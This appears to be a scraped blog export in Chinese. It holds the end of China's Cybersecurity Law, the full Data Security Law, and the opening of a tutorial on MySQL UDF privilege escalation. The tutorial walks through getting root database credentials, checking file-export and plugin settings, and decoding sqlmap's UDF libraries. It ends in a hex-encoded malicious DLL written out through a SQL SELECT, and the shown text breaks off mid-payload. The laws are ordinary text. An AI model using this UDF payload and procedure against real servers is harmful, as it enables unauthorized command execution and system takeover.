单位有前款行为的,由公安机关处十万元以上五十万元以下罚款,并对直接负责的主管人员和其他直接责任人员依照前款规定处罚。 第六十八条 网络运营者违反本法第四十七条规定,对法律、行政法规禁止发布或者传输的信息未停止传输、采取消除等处置措施、保存有关记录的,由有关主管部门责令改正,给予警告,没收违法所得;拒不改正或者情节严重的,处十万元以上五十万元以下罚款,并可以责令暂停相关业务、停业整顿、关闭网站、吊销相关业务许可证或者吊销营业执照,对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。 电子信息发送服务提供者、应用软件下载服务提供者,不履行本法第四十八条第二款规定的安全管理义务的,依照前款规定处罚。 第六十九条 网络运营者违反本法规定,有下列行为之一的,由有关主管部门责令改正;拒不改正或者情节严重的,处五万元以上五十万元以下罚款,对直接负责的主管人员和其他直接责任人员,处一万元以上十万元以下罚款: (一)不按照有关部门的要求对法律、行政法规禁止发布或者传输的信息,采取停止传输、消除等处置措施的; (二)拒绝、阻碍有关部门依法实施的监督检查的; (三)拒不向公安机关、国家安全机关提供技术支持和协助的。 第七十条 发布或者传输本法第十二条第二款和其他法律、行政法规禁止发布或者传输的信息的,依照有关法律、行政法规的规定处罚。 第七十一条 有本法规定的违法行为的,依照有关法律、行政法规的规定记入信用档案,并予以公示。 第七十二条 国家机关政务网络的运营者不履行本法规定的网络安全保护义务的,由其上级机关或者有关机关责令改正;对直接负责的主管人员和其他直接责任人员依法给予处分。 第七十三条 网信部门和有关部门违反本法第三十条规定,将在履行网络安全保护职责中获取的信息用于其他用途的,对直接负责的主管人员和其他直接责任人员依法给予处分。 网信部门和有关部门的工作人员玩忽职守、滥用职权、徇私舞弊,尚不构成犯罪的,依法给予处分。 第七十四条 违反本法规定,给他人造成损害的,依法承担民事责任。 违反本法规定,构成违反治安管理行为的,依法给予治安管理处罚;构成犯罪的,依法追究刑事责任。 第七十五条 境外的机构、组织、个人从事攻击、侵入、干扰、破坏等危害中华人民共和国的关键信息基础设施的活动,造成严重后果的,依法追究法律责任;国务院公安部门和有关部门并可以决定对该机构、组织、个人采取冻结财产或者其他必要的制裁措施。 第七章 附 则第七十六条 本法下列用语的含义: (一)网络,是指由计算机或者其他信息终端及相关设备组成的按照一定的规则和程序对信息进行收集、存储、传输、交换、处理的系统。 (二)网络安全,是指通过采取必要措施,防范对网络的攻击、侵入、干扰、破坏和非法使用以及意外事故,使网络处于稳定可靠运行的状态,以及保障网络数据的完整性、保密性、可用性的能力。 (三)网络运营者,是指网络的所有者、管理者和网络服务提供者。 (四)网络数据,是指通过网络收集、存储、传输、处理和产生的各种电子数据。 (五)个人信息,是指以电子或者其他方式记录的能够单独或者与其他信息结合识别自然人个人身份的各种信息,包括但不限于自然人的姓名、出生日期、身份证件号码、个人生物识别信息、住址、电话号码等。 第七十七条 存储、处理涉及国家秘密信息的网络的运行安全保护,除应当遵守本法外,还应当遵守保密法律、行政法规的规定。 第七十八条 军事网络的安全保护,由中央军事委员会另行规定。 第七十九条 本法自2017年6月1日起施行。","tags":["法律法规"],"categories":["生活记录","杂项"]},{"title":"数据安全法","path":"/2020/12/25/93e21280/","content":"总字符数: 5.45K 代码: 无, 文本: 5.43K 预计阅读时间: 24 分钟 第一章 总则第一条 为了规范数据处理活动,保障数据安全,促进数据开发利用,保护个人、组织的合法权益,维护国家主权、安全和发展利益,制定本法。 第二条 在中华人民共和国境内开展数据处理活动及其安全监管,适用本法。 在中华人民共和国境外开展数据处理活动,损害中华人民共和国国家安全、公共利益或者公民、组织合法权益的,依法追究法律责任。 第三条 本法所称数据,是指任何以电子或者其他方式对信息的记录。 数据处理,包括数据的收集、存储、使用、加工、传输、提供、公开等。 数据安全,是指通过采取必要措施,确保数据处于有效保护和合法利用的状态,以及具备保障持续安全状态的能力。 第四条 维护数据安全,应当坚持总体国家安全观,建立健全数据安全治理体系,提高数据安全保障能力。 第五条 中央国家安全领导机构负责国家数据安全工作的决策和议事协调,研究制定、指导实施国家数据安全战略和有关重大方针政策,统筹协调国家数据安全的重大事项和重要工作,建立国家数据安全工作协调机制。 第六条 各地区、各部门对本地区、本部门工作中收集和产生的数据及数据安全负责。 工业、电信、交通、金融、自然资源、卫生健康、教育、科技等主管部门承担本行业、本领域数据安全监管职责。 公安机关、国家安全机关等依照本法和有关法律、行政法规的规定,在各自职责范围内承担数据安全监管职责。 国家网信部门依照本法和有关法律、行政法规的规定,负责统筹协调网络数据安全和相关监管工作。 第七条 国家保护个人、组织与数据有关的权益,鼓励数据依法合理有效利用,保障数据依法有序自由流动,促进以数据为关键要素的数字经济发展。 第八条 开展数据处理活动,应当遵守法律、法规,尊重社会公德和伦理,遵守商业道德和职业道德,诚实守信,履行数据安全保护义务,承担社会责任,不得危害国家安全、公共利益,不得损害个人、组织的合法权益。 第九条 国家支持开展数据安全知识宣传普及,提高全社会的数据安全保护意识和水平,推动有关部门、行业组织、科研机构、企业、个人等共同参与数据安全保护工作,形成全社会共同维护数据安全和促进发展的良好环境。 第十条 相关行业组织按照章程,依法制定数据安全行为规范和团体标准,加强行业自律,指导会员加强数据安全保护,提高数据安全保护水平,促进行业健康发展。 第十一条 国家积极开展数据安全治理、数据开发利用等领域的国际交流与合作,参与数据安全相关国际规则和标准的制定,促进数据跨境安全、自由流动。 第十二条 任何个人、组织都有权对违反本法规定的行为向有关主管部门投诉、举报。收到投诉、举报的部门应当及时依法处理。 有关主管部门应当对投诉、举报人的相关信息予以保密,保护投诉、举报人的合法权益。 第二章 数据安全与发展第十三条 国家统筹发展和安全,坚持以数据开发利用和产业发展促进数据安全,以数据安全保障数据开发利用和产业发展。 第十四条 国家实施大数据战略,推进数据基础设施建设,鼓励和支持数据在各行业、各领域的创新应用。 省级以上人民政府应当将数字经济发展纳入本级国民经济和社会发展规划,并根据需要制定数字经济发展规划。 第十五条 国家支持开发利用数据提升公共服务的智能化水平。提供智能化公共服务,应当充分考虑老年人、残疾人的需求,避免对老年人、残疾人的日常生活造成障碍。 第十六条 国家支持数据开发利用和数据安全技术研究,鼓励数据开发利用和数据安全等领域的技术推广和商业创新,培育、发展数据开发利用和数据安全产品、产业体系。 第十七条 国家推进数据开发利用技术和数据安全标准体系建设。国务院标准化行政主管部门和国务院有关部门根据各自的职责,组织制定并适时修订有关数据开发利用技术、产品和数据安全相关标准。国家支持企业、社会团体和教育、科研机构等参与标准制定。 第十八条 国家促进数据安全检测评估、认证等服务的发展,支持数据安全检测评估、认证等专业机构依法开展服务活动。 国家支持有关部门、行业组织、企业、教育和科研机构、有关专业机构等在数据安全风险评估、防范、处置等方面开展协作。 第十九条 国家建立健全数据交易管理制度,规范数据交易行为,培育数据交易市场。 第二十条 国家支持教育、科研机构和企业等开展数据开发利用技术和数据安全相关教育和培训,采取多种方式培养数据开发利用技术和数据安全专业人才,促进人才交流。 第三章 数据安全制度第二十一条 国家建立数据分类分级保护制度,根据数据在经济社会发展中的重要程度,以及一旦遭到篡改、破坏、泄露或者非法获取、非法利用,对国家安全、公共利益或者个人、组织合法权益造成的危害程度,对数据实行分类分级保护。国家数据安全工作协调机制统筹协调有关部门制定重要数据目录,加强对重要数据的保护。 关系国家安全、国民经济命脉、重要民生、重大公共利益等数据属于国家核心数据,实行更加严格的管理制度。 各地区、各部门应当按照数据分类分级保护制度,确定本地区、本部门以及相关行业、领域的重要数据具体目录,对列入目录的数据进行重点保护。 第二十二条 国家建立集中统一、高效权威的数据安全风险评估、报告、信息共享、监测预警机制。国家数据安全工作协调机制统筹协调有关部门加强数据安全风险信息的获取、分析、研判、预警工作。 第二十三条 国家建立数据安全应急处置机制。发生数据安全事件,有关主管部门应当依法启动应急预案,采取相应的应急处置措施,防止危害扩大,消除安全隐患,并及时向社会发布与公众有关的警示信息。 第二十四条 国家建立数据安全审查制度,对影响或者可能影响国家安全的数据处理活动进行国家安全审查。 依法作出的安全审查决定为最终决定。 第二十五条 国家对与维护国家安全和利益、履行国际义务相关的属于管制物项的数据依法实施出口管制。 第二十六条 任何国家或者地区在与数据和数据开发利用技术等有关的投资、贸易等方面对中华人民共和国采取歧视性的禁止、限制或者其他类似措施的,中华人民共和国可以根据实际情况对该国家或者地区对等采取措施。 第四章 数据安全保护义务第二十七条 开展数据处理活动应当依照法律、法规的规定,建立健全全流程数据安全管理制度,组织开展数据安全教育培训,采取相应的技术措施和其他必要措施,保障数据安全。利用互联网等信息网络开展数据处理活动,应当在网络安全等级保护制度的基础上,履行上述数据安全保护义务。 重要数据的处理者应当明确数据安全负责人和管理机构,落实数据安全保护责任。 第二十八条 开展数据处理活动以及研究开发数据新技术,应当有利于促进经济社会发展,增进人民福祉,符合社会公德和伦理。 第二十九条 开展数据处理活动应当加强风险监测,发现数据安全缺陷、漏洞等风险时,应当立即采取补救措施;发生数据安全事件时,应当立即采取处置措施,按照规定及时告知用户并向有关主管部门报告。 第三十条 重要数据的处理者应当按照规定对其数据处理活动定期开展风险评估,并向有关主管部门报送风险评估报告。 风险评估报告应当包括处理的重要数据的种类、数量,开展数据处理活动的情况,面临的数据安全风险及其应对措施等。 第三十一条 关键信息基础设施的运营者在中华人民共和国境内运营中收集和产生的重要数据的出境安全管理,适用《中华人民共和国网络安全法》的规定;其他数据处理者在中华人民共和国境内运营中收集和产生的重要数据的出境安全管理办法,由国家网信部门会同国务院有关部门制定。 第三十二条 任何组织、个人收集数据,应当采取合法、正当的方式,不得窃取或者以其他非法方式获取数据。 法律、行政法规对收集、使用数据的目的、范围有规定的,应当在法律、行政法规规定的目的和范围内收集、使用数据。 第三十三条 从事数据交易中介服务的机构提供服务,应当要求数据提供方说明数据来源,审核交易双方的身份,并留存审核、交易记录。 第三十四条 法律、行政法规规定提供数据处理相关服务应当取得行政许可的,服务提供者应当依法取得许可。 第三十五条 公安机关、国家安全机关因依法维护国家安全或者侦查犯罪的需要调取数据,应当按照国家有关规定,经过严格的批准手续,依法进行,有关组织、个人应当予以配合。 第三十六条 中华人民共和国主管机关根据有关法律和中华人民共和国缔结或者参加的国际条约、协定,或者按照平等互惠原则,处理外国司法或者执法机构关于提供数据的请求。非经中华人民共和国主管机关批准,境内的组织、个人不得向外国司法或者执法机构提供存储于中华人民共和国境内的数据。 第五章 政务数据安全与开放第三十七条 国家大力推进电子政务建设,提高政务数据的科学性、准确性、时效性,提升运用数据服务经济社会发展的能力。 第三十八条 国家机关为履行法定职责的需要收集、使用数据,应当在其履行法定职责的范围内依照法律、行政法规规定的条件和程序进行;对在履行职责中知悉的个人隐私、个人信息、商业秘密、保密商务信息等数据应当依法予以保密,不得泄露或者非法向他人提供。 第三十九条 国家机关应当依照法律、行政法规的规定,建立健全数据安全管理制度,落实数据安全保护责任,保障政务数据安全。 第四十条 国家机关委托他人建设、维护电子政务系统,存储、加工政务数据,应当经过严格的批准程序,并应当监督受托方履行相应的数据安全保护义务。受托方应当依照法律、法规的规定和合同约定履行数据安全保护义务,不得擅自留存、使用、泄露或者向他人提供政务数据。 第四十一条 国家机关应当遵循公正、公平、便民的原则,按照规定及时、准确地公开政务数据。依法不予公开的除外。 第四十二条 国家制定政务数据开放目录,构建统一规范、互联互通、安全可控的政务数据开放平台,推动政务数据开放利用。 第四十三条 法律、法规授权的具有管理公共事务职能的组织为履行法定职责开展数据处理活动,适用本章规定。 第六章 法律责任第四十四条 有关主管部门在履行数据安全监管职责中,发现数据处理活动存在较大安全风险的,可以按照规定的权限和程序对有关组织、个人进行约谈,并要求有关组织、个人采取措施进行整改,消除隐患。 第四十五条 开展数据处理活动的组织、个人不履行本法第二十七条、第二十九条、第三十条规定的数据安全保护义务的,由有关主管部门责令改正,给予警告,可以并处五万元以上五十万元以下罚款,对直接负责的主管人员和其他直接责任人员可以处一万元以上十万元以下罚款;拒不改正或者造成大量数据泄露等严重后果的,处五十万元以上二百万元以下罚款,并可以责令暂停相关业务、停业整顿、吊销相关业务许可证或者吊销营业执照,对直接负责的主管人员和其他直接责任人员处五万元以上二十万元以下罚款。 违反国家核心数据管理制度,危害国家主权、安全和发展利益的,由有关主管部门处二百万元以上一千万元以下罚款,并根据情况责令暂停相关业务、停业整顿、吊销相关业务许可证或者吊销营业执照;构成犯罪的,依法追究刑事责任。 第四十六条 违反本法第三十一条规定,向境外提供重要数据的,由有关主管部门责令改正,给予警告,可以并处十万元以上一百万元以下罚款,对直接负责的主管人员和其他直接责任人员可以处一万元以上十万元以下罚款;情节严重的,处一百万元以上一千万元以下罚款,并可以责令暂停相关业务、停业整顿、吊销相关业务许可证或者吊销营业执照,对直接负责的主管人员和其他直接责任人员处十万元以上一百万元以下罚款。 第四十七条 从事数据交易中介服务的机构未履行本法第三十三条规定的义务的,由有关主管部门责令改正,没收违法所得,处违法所得一倍以上十倍以下罚款,没有违法所得或者违法所得不足十万元的,处十万元以上一百万元以下罚款,并可以责令暂停相关业务、停业整顿、吊销相关业务许可证或者吊销营业执照;对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。 第四十八条 违反本法第三十五条规定,拒不配合数据调取的,由有关主管部门责令改正,给予警告,并处五万元以上五十万元以下罚款,对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。 违反本法第三十六条规定,未经主管机关批准向外国司法或者执法机构提供数据的,由有关主管部门给予警告,可以并处十万元以上一百万元以下罚款,对直接负责的主管人员和其他直接责任人员可以处一万元以上十万元以下罚款;造成严重后果的,处一百万元以上五百万元以下罚款,并可以责令暂停相关业务、停业整顿、吊销相关业务许可证或者吊销营业执照,对直接负责的主管人员和其他直接责任人员处五万元以上五十万元以下罚款。 第四十九条 国家机关不履行本法规定的数据安全保护义务的,对直接负责的主管人员和其他直接责任人员依法给予处分。 第五十条 履行数据安全监管职责的国家工作人员玩忽职守、滥用职权、徇私舞弊的,依法给予处分。 第五十一条 窃取或者以其他非法方式获取数据,开展数据处理活动排除、限制竞争,或者损害个人、组织合法权益的,依照有关法律、行政法规的规定处罚。 第五十二条 违反本法规定,给他人造成损害的,依法承担民事责任。 违反本法规定,构成违反治安管理行为的,依法给予治安管理处罚;构成犯罪的,依法追究刑事责任。 第七章 附 则第五十三条 开展涉及国家秘密的数据处理活动,适用《中华人民共和国保守国家秘密法》等法律、行政法规的规定。 在统计、档案工作中开展数据处理活动,开展涉及个人信息的数据处理活动,还应当遵守有关法律、行政法规的规定。 第五十四条 军事数据安全保护的办法,由中央军事委员会依据本法另行制定。 第五十五条 本法自2021年9月1日起施行。","tags":["法律法规"],"categories":["生活记录","杂项"]},{"title":"Security-MySQL提权","path":"/2020/12/21/466824cf/","content":"总字符数: 79.84K 代码: 75.47K, 文本: 1.76K 预计阅读时间: 5.60 小时 MySQL UDF提权背景介绍UDF UDF(user defined function)用户自定义函数,是MySQL的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。文件后缀为.dll或.so,常用c语言编写。拿到一个WebShell之后,在利用操作系统本身存在的漏洞提权的时候发现补丁全部被修补。这个时候需要利用第三方应用提权。当MYSQL权限比较高的时候我们就可以利用udf提权。 利用前提 获取到对方的Mysql数据库下的root账户密码 查看网站源码里面的数据库配置文件(inc/conn/config/common/data等) 下载对方数据库安装路径下的user.myd、user.MYD、user.MYI三个文件,在测试环境中替换 mysql --skip-grant-tables 跳过验证 mysql -uroot 直接无密码登录 use mysql select * from user获取到密码后进行解密 mysql允许导入导出文件 高权限用户启动,如root。该账号需要有对数据库mysql的insert和delete权限,其实是操作里面的func表,所以func表也必须存在。 未开启‑‑skip‑grant‑tables。开启的情况下,UDF不会被加载,默认不开启。 Linux环境 Linux环境下的UDF提权大概率仅限于靶场环境中,原因: 在Linux严格的系统权限下,mysql用户或web用户无plugin目录的写入权限,所以我们下方指定了需要root用户启动 实验环境手工启动mysql,指定root启动:user = root。默认是mysql用户启动。 如果是通过systemctl启动的话也要修改/usr/lib/systemd/system/mysqld.service文件 手工提权查找是否已经存在了udf表123456789101112131415161718192021222324252627mysql> SELECT * FROM information_schema.tables WHERE table_name like '%fun%'; +---------------+--------------+------------+------------+--------+---------+------------+------------+----------------+-------------+--------------------+--------------+-----------+----------------+---------------------+---------------------+---------------------+-----------------+----------+----------------+------------------------+| TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME | TABLE_TYPE | ENGINE | VERSION | ROW_FORMAT | TABLE_ROWS | AVG_ROW_LENGTH | DATA_LENGTH | MAX_DATA_LENGTH | INDEX_LENGTH | DATA_FREE | AUTO_INCREMENT | CREATE_TIME | UPDATE_TIME | CHECK_TIME | TABLE_COLLATION | CHECKSUM | CREATE_OPTIONS | TABLE_COMMENT |+---------------+--------------+------------+------------+--------+---------+------------+------------+----------------+-------------+--------------------+--------------+-----------+----------------+---------------------+---------------------+---------------------+-----------------+----------+----------------+------------------------+| NULL | mysql | func | BASE TABLE | MyISAM | 10 | Fixed | 3 | 579 | 1737 | 162974011515469823 | 2048 | 0 | NULL | 2012-02-04 10:00:35 | 2020-12-21 15:24:46 | 2020-12-21 10:35:01 | utf8_bin | NULL | | User defined functions | +---------------+--------------+------------+------------+--------+---------+------------+------------+----------------+-------------+--------------------+--------------+-----------+----------------+---------------------+---------------------+---------------------+-----------------+----------+----------------+------------------------+1 row in set (0.00 sec)-- 上方有个func表,属于mysql数据库,查看他存在哪些函数mysql> select * from mysql.func;+-----------------------+-----+---------------------+----------+| name | ret | dl | type |+-----------------------+-----+---------------------+----------+| lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function | | sys_exec | 0 | lib_mysqludf_sys.so | function | | sys_eval | 0 | lib_mysqludf_sys.so | function | +-----------------------+-----+---------------------+----------+3 rows in set (0.00 sec)-- 调用sys_eval函数mysql> select sys_eval('whoami');+--------------------+| sys_eval('whoami') |+--------------------+| root | +--------------------+1 row in set (0.00 sec) 判断前提条件 查看是否允许导入导出文件 1234567mysql> show variables like '%secure_file_priv%';+------------------+-------+| Variable_name | Value |+------------------+-------+| secure_file_priv | |+------------------+-------+1 row in set (0.00 sec) %secure_file_priv%这个参数在MySQL数据库的安装目录的 my.ini 文件中配置,也可以作为启动参数。 secure_file_priv是用来限制load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限。 当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出,此时无法提权当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权 查看是否高权限 1mysql> select * from mysql.user where user = substring_index(user(), '@', 1) ; 查看plugin的值 123456789101112-- plugin 字段是从 MySQL 5.7.6 版本开始引入的。在此版本之前,plugin 字段不存在。该字段存储了用户账户所使用的身份验证插件信息,用于确定用户账户的身份验证方式。-- 在早期版本的 MySQL 中,默认的身份验证插件是 mysql_native_password,但从 MySQL 8.0 开始,默认的身份验证插件改为了 caching_sha2_password。plugin 字段会记录当前用户账户所使用的插件,以便正确进行身份验证和密码加密mysql> select host,user,plugin from mysql.user where user = substring_index(user(),'@',1);+-----------+------+-----------------------+| host | user | plugin |+-----------+------+-----------------------+| localhost | root | mysql_native_password |+-----------+------+-----------------------+1 row in set (0.02 sec) plugin值表示mysql用户的认证方式。当 plugin 的值为空时不可提权,为 mysql_native_password 时可通过账户连接提权。默认为mysql_native_password。另外,mysql用户还需对此plugin目录具有写权限。 查看plugin目录位置 12345678mysql> show variables like '%plugin%';+-------------------------------+------------------------------+| Variable_name | Value |+-------------------------------+------------------------------+| default_authentication_plugin | mysql_native_password || plugin_dir | /usr/local/mysql/lib/plugin/ |+-------------------------------+------------------------------+2 rows in set (0.00 sec) 确定Mysql安装位置 123456789101112131415mysql> select @@basedir;+-------------------+| @@basedir |+-------------------+| /usr/local/mysql/ |+-------------------+1 row in set (0.00 sec)mysql> show variables like '%basedir%';+---------------+-------------------+| Variable_name | Value |+---------------+-------------------+| basedir | /usr/local/mysql/ |+---------------+-------------------+1 row in set (0.00 sec) 通过主机版本及架构确认mysql位数来选用udf文件 12345678mysql> show variables like '%compile%';+-------------------------+--------+| Variable_name | Value |+-------------------------+--------+| version_compile_machine | x86_64 || version_compile_os | Linux |+-------------------------+--------+2 rows in set (0.00 sec) 查看数据库版本,判断udf文件写入位置 1234567mysql> select version();+-----------+| version() |+-----------+| 5.7.18 |+-----------+1 row in set (0.00 sec) 5.1 mysql大于5.1版本时 查看 plugin 目录,存在lib\\plugin目录且有Webshell时,直接上传udf文件 查看 plugin 目录,存在lib\\plugin目录但没有Webshell时,则需要以16进制编码写入udf文件。 mysql小于5.1版本时 udf.dll文件在Windows2003下放置于c:\\windows\\system32,在windows2000下放置于c:\\winnt\\system32。 有webshell时,通过webshell上传udf文件。 无webshell时,使用dumpfile通过16进制数据流写入udf文件。 Linux系统 判断是否存在UDFjohn@Kioptrix4:/home$ whereis lib_mysqludf_sys.so 尝试创建函数,如果存在则直接使用即可 use mysql; create function sys_eval returns string soname 'udf.so'; 上传udf库文件 准备udf库文件 需要选择对应的版本,否则会报错。 从sqlmap获取sqlmap根目录/data/udf/mysql 12345678910111213141516171819202122232425262728293031┌──(kali㉿kali)-[/usr/share/sqlmap/data/udf/mysql]└─$ tree.├── linux│ ├── 32│ │ └── lib_mysqludf_sys.so_│ └── 64│ └── lib_mysqludf_sys.so_└── windows ├── 32 │ └── lib_mysqludf_sys.dll_ └── 64 └── lib_mysqludf_sys.dll_# 不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:/usr/share/sqlmap/extra/cloak/cloak.py,解码方法如下# 解码 32 位的 Linux 动态链接库┌──(kali㉿kali)-[/usr/share/sqlmap/data/udf/mysql]└─$ sudo python3 ../../../extra/cloak/cloak.py -d -i linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so# 解码 64 位的 Linux 动态链接库┌──(kali㉿kali)-[/usr/share/sqlmap/data/udf/mysql]└─$ sudo python3 ../../../extra/cloak/cloak.py -d -i linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so# 解码 32 位的 Windows 动态链接库┌──(kali㉿kali)-[/usr/share/sqlmap/data/udf/mysql]└─$ sudo python3 ../../../extra/cloak/cloak.py -d -i windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll# 解码 64 位的 Windows 动态链接库┌──(kali㉿kali)-[/usr/share/sqlmap/data/udf/mysql]└─$ sudo python3 ../../../extra/cloak/cloak.py -d -i windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll 此时会在相同目录生成解密后的文件 123┌──(kali㉿kali)-[/usr/share/sqlmap/data/udf/mysql]└─$ ls lib_mysqludf_sys_32.dll lib_mysqludf_sys_32.so lib_mysqludf_sys_64.dll lib_mysqludf_sys_64.so linux windows 从metasploit中获取 在kali的/usr/share/metasploit-framework/data/exploits/mysql目录下找到相应的库即可。这个库和sqlmap解密后的一模一样。 123456789┌──(kali㉿kali)-[/usr/share/metasploit-framework/data/exploits/mysql]└─$ tree ..├── lib_mysqludf_sys_32.dll├── lib_mysqludf_sys_32.so├── lib_mysqludf_sys_64.dll└── lib_mysqludf_sys_64.so1 directory, 4 files SQLMap中提取好的UDF文件—来自国光师傅 上传udf库文件 lib_mysqludf_sys_32.dll1SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000004d477bd0092615830926158309261583005e86830b261583005e808308261583005e968307261583005e91830b2615832ee06e830a2615830926148325261583005e9c8308261583005e878308261583005e8483082615835269636809261583000000000000000000000000000000000000000000000000504500004c0103004afe9f5a0000000000000000e00002210b010900001000000010000000600000607c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007c83000008020000b4820000c800000000800000b402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d090208b92bcf11b11ceea24f550000560c000000220000260000a8ffffffff8b4c240833c03901741656578b7c24146a0c59be000010dcf3a566a55fb0015e5dfb77fbc38b44240c1a6a071611108bf8183218ff63db6f1ca45fc7011e1200210883380175128b40040df6776f0700750a1004c6000132c0c3530abf1df68d3c3053a454082d08ff30ff15fff6ee776c885985c075085614c601011bc8568d71018a11fd6fdffe4184d275f98b54142bce890a32558bec8b4d0c833902b7d860bf5374148b7d10915c5453eb4cbf9dbddf8b417d740f1b707c1bebe5836004dbb1ffb7001a0c8b48048b008d4401025072a0594c08dfc8d7b5891678113006a44ceb6c57beb7b2b85f5e5da30421740833dbb63ff6a8591353568b742410d878534602db85db5bb6460851c78d5c4257e8240b75eeeebfe01400c604070008ff70041e0553b1db1b921a22c418535720030054090f09b7086a995b0f98599954cf2d343713b8f4540b1edeb60d818403552251519d35dffed6fedf576800f762d66a018945fc068bf08b4560dd7ff70cc606004533ff595939387471683cc071c6fedfda9c12260c3bc7745b506a04ff75fc149073e1edd7a9fd48533afc8d48911040b963dbff2bc18bd88d043b505630f8268c5330d8ad8dbd5f03fe570e940de57df8463fe6364c2066ba5b1810a4803e0059169eb0ff741a8bc6c64437ff00594d1489c906987bebd86f183e5f205ec9c3eed7b235dcbaf37d574708c45030087bdbdacdc9c26a4078c710548d4601b9e07e614251724f0856ff31cf6bafdd9db694c66aff8dc32082f63a58b0b6030d092c23005f7cc36e57036c6a081d1290ac0aa88365fc2f6c2f2c2d4592d0eb071b408f65e8c70bbfd66e42feff000d1fedc25e3bffdb17b60d08209a02f3c3e90806f58bff56688000002d8c6d675880985608845aa3bde0febb062358045485f675054daa83260076fbb7db4508c36f08ed09acc704240607ff0b4c113637598d71ffcf9c0bbf77dfc9750e39056b107e3cff7310830b01fbeec6bb8b0910548b098f57890a23480f85d47d618cbbad641718068b79040838071b76edeebb1e50eb184aa705b8e61768b0b030d8e803a83c0957c1d6bbaeb5d6a1e7e9e2573ca12f4c6a6ff777c3025efd096a1fee76eb3caa10c80475ed7befc0c7051f281a70e027071bdff79d5cb520bc04b81b6a5635b952eb782b7339b2e3696ff7defd7340393d155c741c68062809ac43db6b85850d9e1034252316ffe666f862f154b201dc0801592cc2b1a1db78049ddfdbf62413d90fd4fc83f80266b16f6cb0d2595bffa0584b77783bb5783106350f8487c71996ee4cd3543bf81810897d82efc796be35fac87251833f8af36a7c398587b4f10774e9ffc8d60f7c89c5db9bb5d955f85615441b474ded5be38ef88a394d1003d00874b48909437aa36d020c1ad3f8eba71c3162cc5a64442e386161fb0a58064c32fc19503f1bdf720443375bc9c20cc710fb02231fb2288b2ef28b5d081cae0fdb9b54e433c95cfc7d2008016c2dc6c23bf15a393a4417e4d61bfe7fafae3bf0740583fe02752e1910d03bc1e7166eb8ed57565fd03b5ee40003937b703b67115a039614168012376c7d270a8227fea0246420575062b30d661327002f527f8df61ad2061153f76a037543b067bb614f34032168742e2c0d2c3cec257feb1b71ec5a09706a7c6faae05051597c64825d900eadf62ffa8a19066b8f91b6c72ae490c396ec1640e134a9ff3b246abb41c1f17926547dbc550c0d381e33bc05bc595d382281ec2832f7869f365f212043211c895e2118891d05f78ec243143c21a2aa210c668c186c5ffbda3806252c0620080605dd2dcdd20425002d7ffc9c8f7ab6b1f6143095562407042831d6fedb7f0807348b85e0fca0aa701ddbb5b395011c1920241318092b18476a565f201cb360c32c9f7b8985d8320a04dc03b557e01b243468dedfd1f7d8d360ce2879d40a2c833d208dbdc3da00f923685b1b300bdfaf67f534c97f23401ec25f6a4849918f144a50152e9df458aaf8a29c10f3eb67611c7e052c37d4598feded8321b9273551e0f5ee3bdc0abf03e4507f4b8417185bdb7e600bce1cdc142cd6e288b154b609e01b14f413160a4bdb313ddcdbffdc84676cc859d94e1e07f7d81bf076bbb7c00359485d1656b8bc18be04a3638b6f2af83bc673080753025073d85f60835a3bfe72f15f5e25206c6053c820cc006f35b4dd452bb84d5a346627040b85bf2b5e6e413c03c1813850e45fefa5ecfffb33d2b90b011c48180f94c28bc25dc33fb702bf35e34831c80fb74114ae057106c1a55b6c33578c081817761bffff2ff1d7487bf972098b580803d93bfb720a4283c0283bd67270ca36b5e86ae55dc38f6afef0cd71f7a970040b056418005083ec080db7c670082f316c33c576f0852f06df64a31a89b90968555db7f081f0b2091c6b04f555972dd12c937d1350195c083b04e1c26f2724c1e81ff715e0018fefb6532b034f230059948be55dc3621ddb49a301ca3dafc0fae99525242631ccff29343232b61058054c50ac2cb41e97af12b60d56096b27d7616b20cfb0fbef2ae4e03160031f73d9665b9a6c038d2be0fafc046ba039f13cb4fc8a0d6c120c7d0dc395c3c1619c965154147fe41f3e783124f020140bdac40e5643b25d53ec1068f885626df4f888c9bf4ee640bb25eea0398466820d85c33149db9f0a359a04eb605675f869639fc1f6448b7598751f1033f0071476e6ca20189d271cb4f6ee6fedf4330c113bf77507be4f59eb0b85f30a7b047ea10ac1e0100bf0ce00f7d6076c840d1e045e5f01c33f5c056464646460